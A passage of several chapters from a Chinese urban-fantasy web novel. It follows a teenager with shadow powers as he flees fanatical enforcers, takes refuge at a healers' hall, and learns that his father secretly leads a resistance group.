“来了。”苏清月的眼神一凛,迅速从医药箱里拿出个小瓶子,往空中一撒。绿色的粉末在空气中炸开,瞬间化作片小小的迷雾,将费勇笼罩在里面。“顺着雾走,出口在巷子尽头。”她的声音隔着雾气传来,带着点模糊的笑意,“等这事了了,来青禾堂找我,我请你喝静心草茶。”
费勇还没来得及回应,就感觉背后被人轻轻推了一下。他下意识地顺着推力往前走,周围的雾气像有生命般为他让路,脚下的石板路突然变得异常清晰——显然是苏清月的异能在指引方向。
他不敢回头,只能攥紧口袋里的地图和瓷瓶,手腕上的银镯硌着掌心,提醒他这一切都不是梦。雾气里隐约传来苏清月的声音,带着刻意提高的冷静:“警察同志,这里发生了点意外……”
费勇的鼻子突然有点酸。他想起苏清月左肩的血迹,想起她刚才挡在自己身前时,白大褂被风吹起的样子,像株在暴雨里拼命护住幼苗的青藤。
“苏清月!”他忍不住喊了一声。
雾气那头的声音顿了顿,传来一句很轻的回应,像风拂过树叶:“路上小心。”
费勇咬紧牙关,不再犹豫,转身冲进了巷子深处的黑暗里。
雾气在他身后缓缓散去,露出苏清月站在原地的身影。她看着费勇消失的方向,轻轻抚摸着口袋里的照片——那是她和父母的合影,照片上的老槐树和青禾堂门口的一模一样。她的指尖在照片边缘轻轻敲击着,腕间的银链突然亮了亮,那是青禾堂的紧急联络信号。
“秦伯,”她对着空气轻声说,“我把人送过去了,是个暗影系的小家伙,叫费勇……嗯,很像当年的林叔。”
巷口的脚步声越来越近,为首的女警腰侧别着手铐,眼神锐利得像鹰——正是刚接到报警赶来的林悦。她的目光扫过苏清月,最终落在休息室的方向,眉头微微皱起:“苏医生,刚才有人报案,说这里有异能者打斗?”
苏清月收起思绪,脸上露出恰到好处的惊讶:“异能者?警察同志您说笑了,刚才是有几个小偷闯进来,已经被我制服了。”她侧身让开,露出休息室门口被藤蔓捆得结结实实的执法者,“您看,都在这儿呢。”
林悦的目光在执法者手腕上的蛇形纹身上停顿了半秒,眼底闪过一丝不易察觉的冷意。她挥了挥手,身后的警员立刻上前铐住那三人,动作熟练得像是演练过千百遍。“辛苦苏医生了。”林悦的语气听不出情绪,“不过按规定,还是需要您跟我们回局里做个笔录。”
“应该的。”苏清月点头,平静地跟着警员往外走。经过休息室门口时,她的指尖轻轻在门框上碰了碰,一株细小的藤蔓悄无声息地钻了进去,缠绕在费勇刚才撞过的纸箱上——那是她留给自己的追踪标记,也是留给费勇的最后一道防线。
她抬头看向费勇消失的方向,夜色沉沉,只有几颗星星在云层里若隐若现。
“一路顺风啊,小暗影。”她在心里默念。
而此刻的费勇,正按着苏清月的指引在巷子里狂奔。他不敢走大路,只能在纵横交错的小巷里穿梭,脚下的石板路坑坑洼洼,好几次差点绊倒。手腕上的银镯偶尔会微微发烫,像是在提醒他身后可能存在的追兵。
跑过第三个路口时,他停下来喘了口气,借着路灯的光看了眼地图。照片上的梧桐巷就在前面,巷口的轮廓在夜色里隐约可见,果然有三棵老槐树的影子,枝桠在月光下拉得老长,像在朝他招手。
费勇握紧了手腕上的银镯,想起苏清月说的“等这事了了,请你喝静心草茶”,突然觉得这逃亡的路好像也没那么难熬了。他深吸一口气,将地图折好塞回口袋,握紧了那瓶绿色药剂,朝着梧桐巷的方向跑去。
夜色里,他的影子被路灯拉得很长,像条黑色的尾巴,紧紧跟在他身后,带着种难以言喻的韧性。
第10章:图书馆的注视
夜风卷着碎雨丝打在脸上,费勇缩了缩脖子,把半湿的外套拉链拉到顶。从医院后巷跑出来已经快半小时,梧桐巷的轮廓还没出现在视野里,倒是路过了不少岔路口,每一次选择都让他心脏突突直跳——生怕记错了苏清月说的“第三个路口左拐”。
“应该没走错吧……”他对着手机屏幕上模糊的地图嘀咕。屏幕亮度调得很低,怕被人发现行踪,结果连自己在哪条街都看不清楚。更要命的是,手机快没电了,仅剩的3%电量像在给他倒计时,提醒着这场逃亡的狼狈。
路过一盏路灯时,他停下脚步喘口气。影子被灯光拽得老长,贴在湿漉漉的地面上,像块皱巴巴的黑布。费勇盯着影子看了会儿,突然想起刚才在休息室凝聚的影刃——那把漆黑的短刀悬浮在手心时,那种冰凉又锋利的触感还残留在指尖。
“再来一次试试?”他心里冒出个念头。
这想法一冒出来就压不住了。他左右看了看,巷子里空荡荡的,只有垃圾桶旁的野猫被脚步声惊得窜上围墙,绿莹莹的眼睛在暗处闪了闪。费勇深吸一口气,学着刚才保护苏清月时的感觉,集中精神“命令”影子——
凝聚。
然而,地面的影子只是微微晃了晃,边缘泛起几丝涟漪,像是水面被风吹过,别说形成影刃了,连块像样的盾牌都没凑出来。
“搞什么?”费勇皱起眉,又试了一次。这次更糟,影子像是生了锈的齿轮,纹丝不动,反而让他太阳穴突突地疼起来,像是有根针在里面搅动。
“嘶——”他倒吸口凉气,扶着路灯杆蹲下身。额头渗出冷汗,视线开始发花,刚才在休息室战斗时的虚弱感卷土重来,比上次更猛烈。他这才想起苏清月的话——异能不能乱用,会有反噬。
“看来我果然是个菜鸟。”费勇苦笑着从口袋里摸出那瓶绿色药剂。玻璃瓶在路灯下泛着幽光,他拧开盖子,一股清新的草木香飘出来,有点像薄荷混着艾草的味道。药剂是淡绿色的液体,带着点粘稠的质感,喝进嘴里微甜,顺着喉咙滑下去,立刻有股清凉的暖流涌遍全身,太阳穴的疼痛缓解了不少。
“这玩意儿效果可以啊。”费勇咂咂嘴,把空了一半的药剂瓶塞回口袋。他站起身时,无意间低头一瞥,突然愣住了——
自己的影子变了。
刚才还像块普通黑布的影子,此刻在路灯的光晕里,边缘竟浮现出无数条细小的黑线。那些黑线像活着的虫子,在影子里缓缓流动、交织,仔细看的话,会发现它们正顺着地面的裂缝往深处钻,又从另一个角落冒出来,形成某种诡异的循环。
费勇蹲下身,伸出手指想去碰那些黑线。指尖刚碰到地面,影子里的黑线突然加速流动,像被惊动的鱼群,瞬间汇聚成一股细流,顺着他的指尖往上爬。
“!”费勇吓得猛地缩回手。
黑线在他指尖留下一丝冰凉的触感,很快就消失了。再看影子,那些黑线又恢复了慢悠悠流动的样子,仿佛刚才的异动只是错觉。
这到底是什么?
费勇盯着影子看了半天,脑子里乱糟糟的。他想起苏清月说的“暗影重构是极罕见的空间系分支”,想起裁决会执法者看到他时惊恐的表情,突然觉得自己这异能好像藏着什么秘密,而他对此一无所知,就像抱着颗随时会爆炸的炸弹在跑。
就在这时,一阵细碎的声音钻进耳朵。
不是风声,也不是野猫的叫声,而是……像是有很多人在同时说话,声音压得极低,嗡嗡的,听不清具体内容,却能感觉到一种莫名的熟悉感,像是在哪里听过。
费勇屏住呼吸,循着声音来源找去——声音好像是从影子里传出来的。
他把耳朵凑到离地面不到十厘米的地方,那嗡嗡声更清晰了些。仔细分辨的话,能听出里面夹杂着男人的叹息、女人的低语,甚至还有小孩的笑声,杂乱无章,却奇异地融合在一起,像一盘被打乱的录音带。
“谁在说话?”费勇忍不住问了一句。
话音刚落,影子里的黑线突然剧烈波动起来,嗡嗡声瞬间消失,仿佛刚才的一切都是他的幻觉。
费勇愣在原地,后背莫名冒出一层冷汗。这感觉太诡异了,就像他的影子里藏着一群看不见的人,在偷偷跟他说话。他想起小时候奶奶说过的话——“影子里不能随便说话,会被‘影灵’听到的”,当时只当是吓唬小孩的鬼故事,现在想来,或许奶奶早就知道些什么?
“别自己吓自己。”费勇拍了拍脸,试图把那些乱七八糟的念头甩出去。当务之急是找到青禾堂,至于影子里的秘密,等安全了再慢慢琢磨也不迟。
他站起身,刚想继续往前走,眼角的余光突然瞥见斜对面的建筑——
是星海学院的图书馆。
图书馆在夜色里像座沉默的巨人,大部分窗户都是黑的,只有顶楼东侧的一扇窗亮着灯,昏黄的光晕在雨雾里显得格外温暖。而在那扇亮灯的窗边,隐约站着一个人影。
费勇的心跳漏了一拍。
他认得那个身影。
是图书馆的管理员,姓魏,学生们都叫他魏老头。平时总戴着副厚厚的老花镜,坐在借阅台后看报纸,脾气不太好,谁要是敢在图书馆里大声说话,能被他用眼神瞪到找地缝钻进去。
这个时间,图书馆早就闭馆了,魏老头怎么会还在?而且还站在窗边?
费勇下意识地往路灯的阴影里躲了躲。不知为什么,他总觉得魏老头的目光正落在自己身上。
他猜得没错。
当他躲进阴影的瞬间,窗边的人影微微动了一下,像是调整了姿势。虽然隔得远,看不清表情,但费勇能感觉到那道目光穿过雨雾,精准地锁定了他,带着种审视的意味,让他浑身不自在。
这老头……不会也是裁决会的人吧?
这个念头刚冒出来,就被费勇否定了。魏老头在图书馆干了快十年,要是裁决会的人,早就该对他下手了,犯不着等到现在。
可他为什么会在深夜的图书馆窗边看着自己?
费勇想起刚才影子里的低语和黑线,又想起魏老头每次看他的眼神——以前只觉得是严厉,现在回想起来,好像还藏着点别的什么,像是担忧,又像是……守护?
“想太多了。”费勇摇了摇头。一个普通的图书馆管理员,怎么可能和异能者、裁决会这些扯上关系?大概是自己最近经历的怪事太多,有点杯弓蛇影了。
他最后看了一眼那扇亮着灯的窗户,魏老头还站在那里,像尊沉默的雕像。费勇不再犹豫,转身拐进旁边的小巷,加快了脚步。
身后,图书馆顶楼的灯光依旧亮着。
魏老头推了推鼻梁上的老花镜,看着费勇消失在巷口的背影,轻轻叹了口气。他从口袋里掏出个小巧的通讯器,按下了侧面的按钮。
“灯塔,”他的声音不再是平时的沙哑,而是带着种沉稳的厚重,“暗影本源开始活跃了,比我们预计的早了三个月。”
通讯器那头沉默了几秒,传来一道疲惫却坚定的声音:“老鬼,看好他。别让裁决会的人得手,也别让他太早接触真相……他还没准备好。”
“我知道。”老鬼的目光落在费勇刚才站过的地方,路灯的光晕里,似乎还残留着一丝极淡的暗影能量,“这小子比我们想象的要坚韧,刚才复制清月的藤蔓种子时,已经能自主控制能量流向了。”
“是他母亲的血脉在起作用。”灯塔的声音里带着一丝不易察觉的温柔,“等他到了青禾堂,让秦伯多照看着点。对了,清月那边……”
“放心,她已经把人引开了,特调科的林丫头跟在后面,暂时出不了事。”老鬼顿了顿,补充道,“就是裁决会的审判长有点不对劲,刚才在医院附近感应到他的能量波动,却没出手,像是在等什么。”
通讯器那头又是一阵沉默,这次的沉默带着明显的凝重。
“告诉风行者,让他盯紧审判长。”灯塔的声音冷了下来,“如果他敢对费勇出手,不惜一切代价拦住他。”
“明白。”
老鬼挂断通讯,转身从书架上抽出一本封面泛黄的古籍。书页翻开,里面夹着一张老照片——照片上是个抱着婴儿的男人,笑得一脸温柔,怀里婴儿的手腕上,戴着个和费勇现在手上一模一样的银镯。
老鬼用指尖轻轻抚摸着照片上男人的脸,低声道:“老费,你儿子长大了。”
窗外的雨不知何时停了,月亮从云层里钻出来,给图书馆的屋顶镀上了一层银辉。
而此刻的费勇,正顺着小巷往城郊的方向走。他手腕上的银镯偶尔会微微发烫,像是在提醒他什么。他不知道的是,在他看不见的地方,有两股力量正在悄然博弈,而他,正是这场博弈的中心。
他只知道,必须尽快赶到梧桐巷,找到那三棵老槐树。
因为那是苏清月告诉他的方向,是他现在唯一能抓住的光。
第11章:槐树下的追踪
城郊的风带着泥土味,比市区冷了好几度。费勇把外套裹得更紧些,借着月光辨认路牌——“梧桐巷”三个字已经模糊不清,被藤蔓爬得只剩个轮廓。他心里一喜,刚想加快脚步,后颈突然窜起一阵寒意,像被毒蛇盯上似的。
这感觉他太熟悉了。在医院天台上被执法者包围时,在休息室看到裁决会标记时,都是这种汗毛倒竖的预警。
费勇猛地转身,借着路灯的光往后看——巷口空荡荡的,只有被风吹得摇晃的垃圾桶,影子在地面张牙舞爪,像在模仿某种威胁。
“是错觉吗?”他皱起眉,揉了揉后颈。自从觉醒异能后,他的直觉变得异常灵敏,尤其是对危险的感知,比打游戏时预判对手走位还准。
他没再往前走,而是往旁边的矮墙挪了挪,让自己的影子藏进墙根的阴影里。这是他刚才摸索出的小技巧——把影子藏进更浓重的黑暗里,能模糊自身的位置,有点像游戏里的“潜行”状态。
果然,没过半分钟,巷口传来轻微的脚步声。不是皮鞋踩地的清脆,也不是运动鞋的闷响,而是某种厚重的靴子碾过碎石子的“咯吱”声,节奏均匀,带着种训练有素的刻意。
费勇屏住呼吸,眯起眼睛往巷口看。三个黑影贴着墙根溜了进来,动作快得像壁虎。他们穿着统一的黑色作战服,脸上蒙着黑布,只露出一双双闪着冷光的眼睛——正是裁决会的执法者。
更要命的是,他们每人手里都握着个银光闪闪的玩意儿,形状像缩小版的电棍,顶端正滋滋冒着蓝白色的火花,和费勇在医院见过的“异能抑制器”一模一样。
“妈的,还真是阴魂不散。”费勇低骂一声,心脏砰砰直跳。他悄悄往后退,后背撞到了棵老槐树的树干,树皮粗糙的触感让他稍微冷静了点。
这棵槐树得两人合抱才能围住,枝桠歪歪扭扭地伸向天空,月光透过叶隙洒下来,在地面投下斑驳的影子,倒成了天然的掩护。费勇盯着那三个执法者,脑子里飞快盘算着——硬拼肯定不行,对方有三个人,还有抑制器;跑的话,这条巷子是死胡同,前面只有梧桐巷一个出口,要是被堵住就完了。
“只能用影遁了。”他咬了咬牙。
影遁是他目前掌握的唯一逃生技能,原理是把身体融入影子,从一个阴影瞬间转移到另一个阴影。但这招有个致命缺点——距离太短,最多只能移动五米,而且每次使用都像被抽走了半管体力,头晕得厉害。
“找到了。”为首的执法者突然停下脚步,声音隔着黑布传出来,像闷在罐子里说话,“那小子在槐树后面。”
费勇心里一惊——他们怎么发现的?
他低头看了看地面,才发现自己刚才后退时太急,影子没完全藏好,一截鞋跟的阴影露在了月光下,像根黑色的指针,精准地暴露了位置。
“该死!”
没等他调整姿势,三个执法者已经呈三角阵型包抄过来。他们的动作异常协调,左边那人往左前方移动,右边那人往右前方卡位,中间那人则直挺挺地冲过来,手里的抑制器发出刺耳的嗡鸣,听得费勇头皮发麻。
“就是现在!”
费勇集中精神,盯着三米外垃圾桶投下的阴影。他深吸一口气,在心里默念“影遁”的瞬间,感觉身体突然变轻了,像被揉成了一团黑雾,顺着地面的影子滑了出去。
“砰!”
他重重摔在垃圾桶后面,膝盖磕在碎石子上,疼得眼泪都快出来了。但这一下也歪打正着——执法者的抑制器刚好扫过他刚才站的位置,蓝白色的电流打在槐树上,激起一串火星。
“咦?人呢?”冲在最前面的执法者愣了一下。
费勇顾不上揉膝盖,连滚带爬地躲到垃圾桶另一侧,借着桶身的阴影再次发动影遁。这次他学乖了,落地时压低重心,像猫一样蜷缩身体,刚好滚进巷子拐角的阴影里。
“在那边!”右边的执法者发现了他,大喊着追过来。
费勇咬紧牙关,一次次用影遁穿梭在路灯和墙壁的阴影之间。他像只被狼群围猎的兔子,只能靠着对地形的临时熟悉勉强躲避。但体力的消耗比他想象的更快——每次影遁后,眼前都会发黑,影子也变得越来越滞涩,像是快没电的玩具。
“不行了……”当他第次尝试影遁时,身体只移动了两米就被强行拽回现实,重重摔在地上。他撑着地面想爬起来,却发现手掌心全是冷汗,连握紧拳头都费劲。
三个执法者趁机围了上来,形成一个标准的三角包围圈,把他困在这片老槐树林里。为首的那人收起抑制器,从后腰抽出把短刀,刀身反射着月光,闪着冷冽的光。
“跑啊,怎么不跑了?”他扯掉脸上的黑布,露出张刀疤纵横的脸,嘴角咧开个狰狞的笑容,“暗影系异能者,倒是比情报里说的能折腾。”
费勇靠在槐树上,喘着粗气抬头看他。这人的眼神很奇怪,不像之前那些执法者的凶狠,而是带着种近乎狂热的兴奋,像收藏家看到了稀世珍品。
“你是谁?”费勇的声音有点发颤,不是因为害怕,而是因为虚弱——过度使用影遁的反噬开始发作,头痛得像要裂开,连带着影子都在地面不安地扭曲,像条即将窒息的鱼。
“很快你就会知道了。”刀疤脸舔了舔嘴唇,眼神扫过费勇的影子,“审判长说了,像你这种罕见的空间系异能者,最适合做‘祭品’了。等把你的异能抽出来,说不定我也能进阶成审判长呢。”
“祭品?抽异能?”费勇心里咯噔一下。他想起苏清月说过裁决会是“猎杀未登记异能者的极端组织”,现在看来,他们不仅要猎杀,还要夺取别人的异能?
“别白费力气了。”左边的执法者突然开口,晃了晃手里的抑制器,“这玩意儿专门克制空间系异能,你越是用影遁,虚弱得越快。”
费勇这才注意到,他们的抑制器和医院那伙人的不一样——顶端多了个螺旋状的金属圈,转动时发出的低频嗡鸣,让他的影子像被投入石子的水面,不停颤抖。
“原来如此……”他终于明白为什么影遁会失效,“你们是专门来抓我的?”
“算你有点脑子。”刀疤脸掂了掂手里的短刀,“本来想在医院就解决你,没想到被那个植物系的女人坏了好事。不过没关系,在这里动手,正好没人打扰。”
他说着突然挥刀刺来,速度快得惊人。费勇下意识地往旁边躲,肩膀还是被划开道口子,鲜血瞬间染红了外套。
“嘶——”疼痛让他脑子清醒了几分。他看着自己的血滴在地上,融入影子的瞬间,那些之前见过的细小黑线突然疯狂涌动起来,像是被血腥味刺激到了。
“这是……”费勇愣住了。
“还在发什么呆?”刀疤脸狞笑着再次挥刀,“受死吧!”
就在这时,费勇的影子突然猛地掀起,像块黑色的幕布挡在他面前。短刀劈在影子上,发出“噗”的一声闷响,竟然被弹开了!
刀疤脸愣了一下,似乎没料到会出现这种情况。
费勇也懵了——他根本没操控影子,这是它自己动的!
但他没时间细想。借着这短暂的空档,他瞥见不远处巷口的轮廓——三棵老槐树的影子在月光下格外清晰,正是苏清月说的青禾堂标记!
“拼了!”
费勇不知道哪里来的力气,猛地推开面前的影子屏障,朝着巷口的方向狂奔。他甚至顾不上使用影遁,只是凭着本能往前冲,身后传来执法者的怒骂和脚步声。
“拦住他!千万别让他跑到青禾堂!”刀疤脸的声音带着惊慌。
费勇跑得更快了。他能感觉到身后的抑制器又开始嗡鸣,影子再次变得滞涩,但他不敢停——青禾堂就在前面,那是他现在唯一的希望。
他冲过最后一片槐树林时,肩膀的伤口疼得钻心,视线也开始模糊。但他没有回头,只是盯着那三棵老槐树的方向,用尽最后一丝力气狂奔。
身后的脚步声越来越近,刀疤脸的狞笑声仿佛就在耳边。
费勇知道,自己可能跑不掉了。
第12章:青禾堂的屏障
刀疤脸的短刀离后心只剩半尺时,费勇的视线突然撞进一片浓绿里。
不是树叶的绿,也不是苏清月藤蔓的嫩青,而是三棵老槐树的剪影——虬结的枝桠在月光下织成网,树后藏着座青砖小院,黛瓦上爬满的爬山虎在风里沙沙作响,像在对他招手。
是苏清月说的标记!
费勇的肾上腺素瞬间冲垮了疲惫。他甚至来不及回头看那把闪着寒光的短刀,只凭着本能将意识沉入影子——不是之前那种小心翼翼的试探,而是近乎孤注一掷的纵身跃入。
“影遁!”
身体突然失重,像掉进灌满冰水的玻璃缸。周围的光线扭曲成怪诞的线条,耳边的风声和脚步声都被拉长、模糊,只有地面的阴影在飞速后退,带着他往那片浓绿冲去。
这是他用影遁以来最远的一次跳跃。从槐树林到青禾堂院门,少说也有七八米,远超之前五米的极限。影子在拉扯中发出细微的“撕裂”声,像布料被强行拽开,疼得费勇眼前发黑。
“砰!”
他重重摔在青石板上,膝盖磕在门环上,疼得差点飙泪。但这痛感也让他确认——自己逃出来了。
身后传来刀疤脸的怒吼:“拦住他!别让他进青禾堂!”
费勇连滚带爬地扑到院门前,双手死命拍门。木门是厚重的老榆木,拍上去震得手掌发麻,发出“咚咚”的闷响,在寂静的夜里格外清晰。
“开门!开门啊!”他急得嗓子冒烟,后颈的寒意又追上来了——那三个执法者已经冲出槐树林,手里的抑制器滋滋作响,蓝白色的电流在黑暗里像毒蛇吐信。
就在刀疤脸的手即将抓住他衣领时,门内终于传来声音。
“暗号?”
是个苍老的男声,带着点刚睡醒的沙哑,却异常沉稳,像块浸在水里的石头。
费勇的脑子飞速转动,苏清月的叮嘱像弹幕般刷屏——绿藤绕青禾!对,是绿藤绕青禾!
“绿藤绕青禾!”他几乎是吼出来的,声音因为急促而变调。
“吱呀——”
木门应声而开,一道仅容一人通过的缝隙里透出昏黄的灯光。费勇想也没想就钻了进去,刚站稳脚跟,身后的门就“砰”地关上了,门闩落下的“咔哒”声让他悬着的心稍稍落地。
“总算……”他刚想喘口气,就被眼前的景象惊得说不出话。
门外突然“滋啦”一声,紧接着是执法者的惨叫。费勇透过门缝往外看,只见一道由藤蔓交织而成的绿色屏障拔地而起,像堵会呼吸的墙,瞬间将整个院门围得严严实实。那些藤蔓约莫手腕粗细,表面布满细密的尖刺,正泛着幽蓝的光,显然淬了东西。
刀疤脸的短刀砍在屏障上,非但没砍断,反而被藤蔓猛地缠上。尖刺刺破他的皮肤,他惨叫着后退,被刺中的地方迅速泛起黑紫色,显然是中了毒。
“该死的!是青禾堂的‘荆棘盾’!”刀疤脸又惊又怒,却不敢再靠近,只能眼睁睁看着那道绿色屏障在月光下轻轻起伏,像有生命般呼吸着。
费勇看得目瞪口呆。这就是青禾堂的防御?比游戏里的“圣盾术”还靠谱!
“裁决会的狗,也敢闯青禾堂的地界?”
身后传来刚才那个苍老的声音。费勇转过身,看到个白胡子老者正站在廊下,手里端着个紫砂茶壶,眼神平静地看着他。老者穿件藏青色的对襟褂子,袖口磨得发亮,脚上是双布鞋,看起来就像隔壁遛鸟的老大爷,可那双眼睛里的精光,却让人不敢小觑。
最让费勇惊讶的是,老者脚下的影子里,正钻出细小的藤蔓,悄无声息地爬向院门口的屏障,像是在输送能量。
“您是……秦伯?”费勇试探着问,想起苏清月的话。
老者点点头,抿了口茶:“苏丫头让你来的?”
“嗯!”费勇赶紧点头,把口袋里的牛皮纸包拿出来,“她还给了我这个,说是地图和您的联系方式。”
秦伯扫了眼那纸包,没接,反而指了指他流血的肩膀:“先处理伤口吧,裁决会的刀上淬了‘锁能粉’,沾了血会抑制异能。”
费勇这才感觉到肩膀的伤口火辣辣地疼,像是被撒了把辣椒面。他低头看了看,伤口周围的皮肤已经泛起淡淡的灰色,连带着影子都变得有些黯淡。
“这……”他吓了一跳。
“小问题。”秦伯转身往堂屋走,“进来吧,青禾堂别的没有,疗伤的药还是管够的。”
费勇跟在他身后,好奇地打量着院子。这院子不大,却收拾得很雅致,墙角种着些他叫不出名字的植物,叶子在夜里也泛着微光。堂屋的门敞开着,里面亮着灯,隐约能看到书架和药柜,果然像苏清月说的,既像医馆又像图书馆。
路过院门口时,费勇又回头看了眼那道绿色屏障。执法者已经不见了踪影,大概是怕中毒太深,灰溜溜地跑了。屏障上的尖刺还在泛着蓝光,藤蔓轻轻晃动,真的像在呼吸。
“这屏障……”费勇忍不住问,“是您的异能?”
“算是吧。”秦伯头也不回,“老夫这点微末伎俩,也就只能挡挡小喽啰。”
费勇吐了吐舌头。这还叫微末伎俩?那刚才那些执法者岂不是连小喽啰都算不上?
进了堂屋,费勇更惊讶了。屋里果然摆满了书架,上面整整齐齐地码着古籍,不少书脊都泛黄了,透着年代感。药柜在另一侧,抽屉上贴着标签,写着些“静心草”“凝露花”之类的名字,闻起来有种淡淡的药香。
秦伯从药柜里拿出个小瓷瓶,倒出些绿色的药膏,递给费勇:“自己抹吧,这是‘解抑膏’,能中和锁能粉。”
费勇接过药膏,刚想往肩膀上涂,突然想起什么:“秦伯,苏清月她……没事吧?她为了引开警察,还在医院那边……”
“放心。”秦伯淡淡道,“丫头比你机灵,她带了‘传讯藤’,要是出事,我这里会有动静。”他指了指窗台上的一盆小草,草叶上挂着个小小的铜铃,“这铃没响,就说明她安全。”
费勇这才放下心来,低头专心抹药膏。药膏冰冰凉凉的,抹在伤口上瞬间就不疼了,连带着影子都恢复了之前的黑亮。
“谢谢您,秦伯。”
秦伯没说话,只是看着他的影子,眼神有些复杂,像是在看一件熟悉的老物件。过了会儿,他才缓缓开口:“你的异能,是暗影重构?”
“嗯。”费勇点头,有点紧张,“苏清月说,这是很罕见的空间系分支。”
“不止罕见那么简单。”秦伯放下茶壶,声音低沉了些,“十年前,也有个年轻人,拥有和你一样的异能。”
费勇的心猛地一跳:“十年前?您认识他?”
秦伯却没回答,只是站起身,从书架上抽出本线装古籍,递给费勇:“先看看这个吧,对你了解自己的能力有好处。”
费勇接过古籍,封面上写着“暗影秘录”四个字,是手写的隶书,苍劲有力。他翻开第一页,瞳孔骤然收缩——
书页上画着个影子的图案,那影子的形态,竟和他每次凝聚影刃时的样子一模一样!图案旁边还有行小字:暗影本源,空间之基,重构万物,可逆虚实。
这是什么?难道是……暗影重构的修炼秘籍?
费勇抬头看向秦伯,想问些什么,却发现秦伯正望着窗外,眼神悠远,像是在回忆什么。
院子里的风还在吹,绿色屏障轻轻晃动,发出沙沙的声响,像在诉说着什么秘密。费勇握紧了那本古籍,突然觉得,自己找到的可能不只是个避难所,更是解开身世和异能之谜的钥匙。
第13章:第一堂课
说是医馆,药柜里飘出的草木香却混着旧书页的油墨味;说是图书馆,书架间又摆着铜制药碾子和紫砂药罐,墙角的小火炉上还煨着个砂锅,咕嘟咕嘟冒着泡,像在煮什么神秘汤剂。
秦伯给的“静心草汁”装在粗陶碗里,颜色是淡淡的碧绿色,喝起来有点像加了薄荷的米汤,顺着喉咙滑下去,肚子里立刻暖烘烘的。最神奇的是,体内那股躁动的暗影能量像是被安抚了,原本在皮肤下游走的刺痛感消失了,连影子都变得服帖,安安静静地趴在脚边,不像刚才那样乱晃。
“这玩意儿比能量饮料管用多了。”费勇咂咂嘴,把空碗递还给秦伯。
秦伯接过碗,随手放在药柜上,指了指对面的木椅:“坐吧,既然来了青禾堂,有些事该让你知道了。”他自己则拖了把竹编摇椅坐下,慢悠悠地摇着,白胡子随着动作轻轻晃动,倒有几分老顽童的架势。
费勇乖乖坐下,双手放在膝盖上,像小学生等着老师讲课。他心里有一肚子问题,关于异能,关于裁决会,关于十年前的觉醒潮,还有刚才那本《暗影秘录》里的图案——那些疑问像泡在水里的海绵,鼓鼓囊囊地塞满了脑子。
“你知道十年前的‘觉醒潮’吗?”秦伯先开了口,手指在扶手上轻轻敲着,节奏像沙漏在计时。
费勇点头:“听说过,课本里提过一句,说是全球突然出现很多拥有特殊能力的人,具体的……没细说。”学校的历史课本把那段时间称为“异常能量爆发期”,用词含糊得像在说外星事件,他猜大概是怕引起恐慌。
“课本当然不会细说。”秦伯嗤笑一声,摇椅晃得更快了,“那年夏天,先是北极圈出现极光异常,接着赤道的火山集体喷发,然后——”他顿了顿,眼神沉了下去,“全球各地开始有人觉醒异能。”
“觉醒的人多吗?”费勇追问。他想起自己的父母,他们就是在那年失踪的,会不会也和异能有关?这个念头让他心跳快了半拍。
“多到失控。”秦伯的声音低了些,“最初只是偶尔有人能隔空移动物体,或者跑得比汽车快。后来越来越夸张,有人能呼风唤雨,有人能穿透墙壁,甚至有人……能操控生死。”
费勇听得咋舌。这哪是异能,简直是超级英雄电影照进现实。
“然后就有了裁决会?”
“不止裁决会。”秦伯竖起三根手指,“异能者多了,矛盾就来了。普通人怕我们,觉得我们是怪物;有些异能者自己也飘了,觉得该统治世界——于是分成了三派。”
他掰下第一根手指:“裁决会,就是你遇到的那些人,主张‘异能者是隐患,必须由高阶者管控,不合格的就抹杀’,说白了就是想搞独裁。”
第二根手指:“破晓,主张‘异能者和普通人该和平共处’,想查清觉醒潮的真相,还在暗中保护没登记的异能者。”
第三根手指:“还有我们青禾堂,中立派,只治病救人,不管派系斗争。”
费勇默默记在心里,突然想起苏清月说过青禾堂是“异能者医疗机构”,原来背后还有这么多门道。“那……官方不管吗?比如警察什么的。”
“管啊,怎么不管。”秦伯笑了,“官方成立了‘特殊能力者管理科’,就是特调科,负责登记异能者,处理异能案件。但你也知道,官字两个口,里面干净不干净,就不好说了。”他意有所指地挑了挑眉。
费勇心里咯噔一下。特调科……林悦所在的部门?那个女警看起来正气凛然,难道也有问题?
“别瞎猜。”秦伯像是看穿了他的心思,“特调科里有好人,比如林丫头她爹,十年前就是牺牲在对抗裁决会的战场上。但也混进了裁决会的人,水浑得很。”
提到林悦的父亲,费勇想起林悦提到裁决会时眼里的怒火,突然明白了她为什么对那伙人恨之入骨。
“那我的异能……”费勇终于问到了最关心的问题,“您刚才说,十年前也有个和我一样的人?”
秦伯的摇椅停了。他看着费勇,眼神复杂,像是在透过他看别人。过了好一会儿,他才起身走到书架前,抽出之前那本《暗影秘录》,翻到其中一页递给费勇。
“你自己看吧。”
费勇接过书,这才发现书页是用宣纸做的,摸起来沙沙的,边缘都卷了角。秦伯翻开的那页画着一幅工笔画:一个穿着古代服饰的男子,正站在月光下,他的影子脱离地面,化作无数黑色丝线,缠绕成一把长剑的形状,剑身上还流动着和费勇影子里一样的黑线。
画的旁边有段注解:“暗影重构,空间系分支,可聚影为器,可遁影而行,可噬影拓界……”后面的字被虫蛀了,看不清。但光看前面几句,就和费勇的能力一模一样!
“这是……”费勇的手指抚过画上的影子,指尖传来微微的麻痒感,像是有电流窜过。
“这是三百年前的古籍,记载的是‘暗影本源’的传承者。”秦伯的声音带着点凝重,“暗影重构不是普通的空间系异能,它源自‘暗影本源’,是能操控空间规则的顶级能力。十年前拥有这种能力的人,叫费承宇。”
费勇的心脏像是被一只手攥紧了。
费承宇。
这个名字他太熟悉了。那是他父亲的名字。
他张了张嘴,想说话,却发现喉咙像被堵住了,只能发出嗬嗬的声音。难怪他从小对影子特别敏感,难怪秦伯看他的眼神那么复杂,难怪裁决会对他穷追不舍——原来他的异能,是从父亲那里继承来的!
“我……我父亲……”费勇的声音抖得不成样子。
秦伯叹了口气,拍了拍他的肩膀:“你父亲是个好人,也是破晓的创始人之一。十年前为了保护一批未登记的异能者,假死脱身,现在是破晓的首领,代号‘灯塔’。”
假死?!
费勇猛地抬头,眼睛瞪得溜圆。父母没有失踪?父亲还活着?还是神秘组织的首领?这信息量太大,他的脑子像被塞进了一团乱麻,嗡嗡作响。
“那我母亲呢?”他抓住秦伯的胳膊,指节因为用力而发白。
秦伯的眼神黯淡下去,摇了摇头:“你母亲……在十年前的动乱中失踪了,至今没找到。”
费勇的手无力地垂下。希望刚冒出来就被泼了冷水,比一直绝望更难受。他看着书页上那幅画,突然觉得鼻子发酸。原来自己和父亲之间,早就被这暗影异能连在了一起,只是他一直不知道。
